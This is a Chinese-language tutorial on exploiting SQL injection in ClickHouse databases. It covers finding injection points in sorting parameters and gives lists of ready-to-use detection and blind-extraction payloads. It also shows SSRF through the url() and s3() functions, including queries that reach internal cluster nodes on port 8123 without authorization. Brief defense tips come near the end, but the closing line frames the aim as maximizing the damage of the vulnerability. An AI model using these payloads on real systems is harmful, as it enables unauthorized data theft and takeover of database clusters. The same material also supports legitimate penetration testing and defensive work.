ClickHouse SQL注入技术深度解析<\/h1>

1. ClickHouse简介<\/h2>

ClickHouse是由Yandex开源的基于列存储的数据库，专为实时数据分析设计，其处理数据速度比传统方法快100-1000倍。主要特点包括：<\/p>

表级存储引擎插件化，支持20多种引擎（合并树、日志、接口等）<\/li>
广泛应用于电商及数据分析平台<\/li>

国内主要用户：腾讯、阿里、华为、字节、京东、拼多多等<\/li> <\/ul>

2. SQL注入常见出现点<\/h2>

数据分析相关功能是SQL注入高发区域：<\/p>

数据分析统计页面<\/li>
自定义热力图分析<\/li>
查询筛选功能<\/li>

任何涉及数据统计分析的地方<\/li> <\/ul>

3. SQL注入判断方法<\/h2>

3.1 常规判断方法<\/h3>

对参数进行单双引号fuzz测试<\/li>
观察报错信息或响应长度变化<\/li>

时间参数和排序功能是常见注入点<\/li> <\/ul>

3.2 排序注入判断<\/h3>

情况A<\/strong>：<\/p>

"orderby":"adShow,1"<\/code>返回true<\/li>
"orderby":"adShow,x"<\/code>或"orderby":"adShow,0"<\/code>返回false<\/li>
表明可能存在注入，可直接在orderby后拼接SQL语句<\/li> <\/ul> 情况B<\/strong>：<\/p> "orderby":"1"<\/code>返回true<\/li> "orderby":"x"<\/code>或"orderby":"0"<\/code>返回false<\/li> 表明可能存在注入<\/li> <\/ul> 3.3 ClickHouse特性利用<\/h3> 使用toInt64(if(1=1,1,exp(71000)))<\/code>快速判断：<\/p> toInt64(if(1=1,1,exp(71000)))<\/code>返回true<\/li> toInt64(if(1=2,1,exp(71000)))<\/code>返回false<\/li> <\/ul> 4. 常用SQL注入Payload<\/h2> 4.1 注入判断Payload<\/h3> SELECT<\/span> *<\/span> from<\/span> my_new_table order<\/span> by<\/span> CAST<\/span>(create_time AS<\/span> String); <\/span><\/span>SELECT<\/span> *<\/span> from<\/span> my_new_table order<\/span> by<\/span> sleep(1<\/span>); <\/span><\/span>SELECT<\/span> *<\/span> from<\/span> my_new_table order<\/span> by<\/span> if<\/span>(1<\/span>=<\/span>1<\/span>,id,1<\/span>); <\/span><\/span>SELECT<\/span> *<\/span> from<\/span> my_new_table order<\/span> by<\/span> name; <\/span><\/span>select<\/span> sleep(1<\/span>); <\/span><\/span>SELECT<\/span> *<\/span> from<\/span> my_new_table order<\/span> by<\/span> (SELECT<\/span> COUNT<\/span>(fuzzBits('1'<\/span>, 0<\/span>.001<\/span>)) FROM<\/span> numbers(10000000<\/span>)) <\/span><\/span>SELECT<\/span> *<\/span> from<\/span> my_new_table order<\/span> by<\/span> id,1<\/span> <\/span><\/span>SELECT<\/span> *<\/span> from<\/span> my_new_table order<\/span> by<\/span>(1<\/span>=<\/span>1<\/span>?<\/span>1<\/span>:1<\/span>) <\/span><\/span>SELECT<\/span> *<\/span> from<\/span> my_new_table order<\/span> by<\/span> toInt64(exp(1<\/span>)) <\/span><\/span>SELECT<\/span> *<\/span> from<\/span> my_new_table order<\/span> by<\/span> toInt64(exp(710<\/span>)) <\/span><\/span><\/code><\/pre>4.2 信息获取Payload<\/h3> SELECT<\/span> id from<\/span> my_new_table order<\/span> by<\/span> toInt64(if<\/span>(1<\/span>=<\/span>2<\/span>,1<\/span>,exp(71000<\/span>))) <\/span><\/span>SELECT<\/span> id from<\/span> my_new_table order<\/span> by<\/span> hex(if<\/span>(mid((select<\/span> user<\/span>()),1<\/span>,1<\/span>)=<\/span>'d'<\/span>,'a'<\/span>,'z'<\/span>))=<\/span>1<\/span> <\/span><\/span>SELECT<\/span>\/**\/<\/span>POSITION<\/span>('22'<\/span>\/**\/<\/span>IN<\/span>\/**\/<\/span>version<\/span>()) <\/span><\/span>SELECT<\/span>\/**\/<\/span>POSITION<\/span>('22'<\/span>\/**\/<\/span>IN<\/span>\/**\/<\/span>user<\/span>()) <\/span><\/span>SELECT<\/span> id from<\/span> my_new_table order<\/span> by<\/span> if<\/span>(1<\/span>=<\/span>2<\/span>,1<\/span>,sleep(1<\/span>)) <\/span><\/span>SELECT<\/span> id from<\/span> my_new_table order<\/span> by<\/span> if<\/span>(1<\/span>=<\/span>2<\/span>,1<\/span>,(SELECT<\/span> COUNT<\/span>(fuzzBits('1'<\/span>, 0<\/span>.001<\/span>)) FROM<\/span> numbers(10000000<\/span>))) <\/span><\/span>SELECT<\/span> id from<\/span> my_new_table order<\/span> by<\/span> (select<\/span>\/**\/<\/span>sleep((database<\/span>()\/**\/<\/span>like<\/span>\/**\/<\/span>'%d%'<\/span>)?<\/span>1<\/span>:0<\/span>)) <\/span><\/span>sleepEachRow(user<\/span>()like<\/span>'%default%'<\/span>if<\/span>(1<\/span>=<\/span>1<\/span>,1<\/span>,sleep\/**\/<\/span>(if<\/span>(left<\/span>(database<\/span>(),7<\/span>)=<\/span>'default'<\/span>,3<\/span>,0<\/span>))) <\/span><\/span>select<\/span> data_path from<\/span> system<\/span>.databases where<\/span> 1<\/span>=<\/span>1<\/span> order<\/span> by<\/span> 1<\/span>=<\/span>(char(126<\/span>)||<\/span>char(126<\/span>)||<\/span>CAST<\/span>((SELECT<\/span> name from<\/span> system<\/span>.databases limit<\/span> 1<\/span> OFFSET<\/span> 1<\/span>) AS<\/span> String)||<\/span>char(126<\/span>)||<\/span>char(126<\/span>)) <\/span><\/span>'||currentDatabase()||''||user()||'<\/span> <\/span><\/span>select<\/span> currentDatabase() <\/span><\/span>select<\/span> user<\/span>() <\/span><\/span><\/code><\/pre>5. 深入利用：SSRF及数据库集群控制<\/h2> 5.1 SSRF漏洞利用<\/h3> 主要由URL函数和S3函数未禁用导致：<\/p> URL函数SSRF<\/strong>：<\/p> select<\/span> *<\/span> from<\/span> url('https:\/\/www.baidu.com'<\/span>, CSV, 'column1 String, column2 UInt32'<\/span>) <\/span><\/span>-- 盲注场景： <\/span><\/span><\/span><\/span>toInt64(if<\/span>((select<\/span> substring<\/span>(c<\/span>,1<\/span>,1<\/span>) from<\/span> url('https:\/\/www.baidu.com'<\/span>,TabSeparated,'c String'<\/span>) limit<\/span> 0<\/span>,1<\/span>)=<\/span>'A'<\/span>,1<\/span>,exp(71000<\/span>))) <\/span><\/span><\/code><\/pre>S3函数SSRF<\/strong>：<\/p> s3('https:\/\/www.baidu.com'<\/span>,RawBLOB) <\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> s3('https:\/\/datasets-documentation.s3.eu-west-3.amazonaws.com\/aapl_stock.csv'<\/span>,'CSVWithNames'<\/span>) LIMIT<\/span> 5<\/span>; <\/span><\/span>s3('https:\/\/www.baidu.com'<\/span>,'CSVWithNames'<\/span>) <\/span><\/span><\/code><\/pre>5.2 数据库集群控制<\/h3> 通过system.clusters<\/code>表获取集群信息：<\/p> select<\/span> *<\/span> from<\/span> system<\/span>.clusters <\/span><\/span>-- 利用8123\/8124端口未授权查询 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> from<\/span> url('http:\/192.168.1.1:8123?query=showtables'<\/span>,CSV,'column1 String'<\/span>) <\/span><\/span><\/code><\/pre>6. 漏洞危害提升技巧<\/h2> 通过查询system.clusters<\/code>获取数据库集群节点信息<\/li> 利用ClickHouse默认开启的8123\/8124端口<\/li> 通过query参数拼接SQL语句实现未授权查询<\/li> 理论上可获得DBA权限，控制整个数据库集群<\/li> <\/ol> 7. 防御建议<\/h2> 对用户输入进行严格过滤和参数化查询<\/li> 禁用不必要的函数（URL\/S3等）<\/li> 限制数据库权限，避免使用高权限账户<\/li> 对敏感系统表进行访问控制<\/li> 修改默认端口并设置访问控制<\/li> <\/ol> 通过以上技术，可以有效挖掘和利用ClickHouse中的SQL注入漏洞，从简单的注入点到严重的数据库集群控制，实现漏洞危害的最大化。<\/p>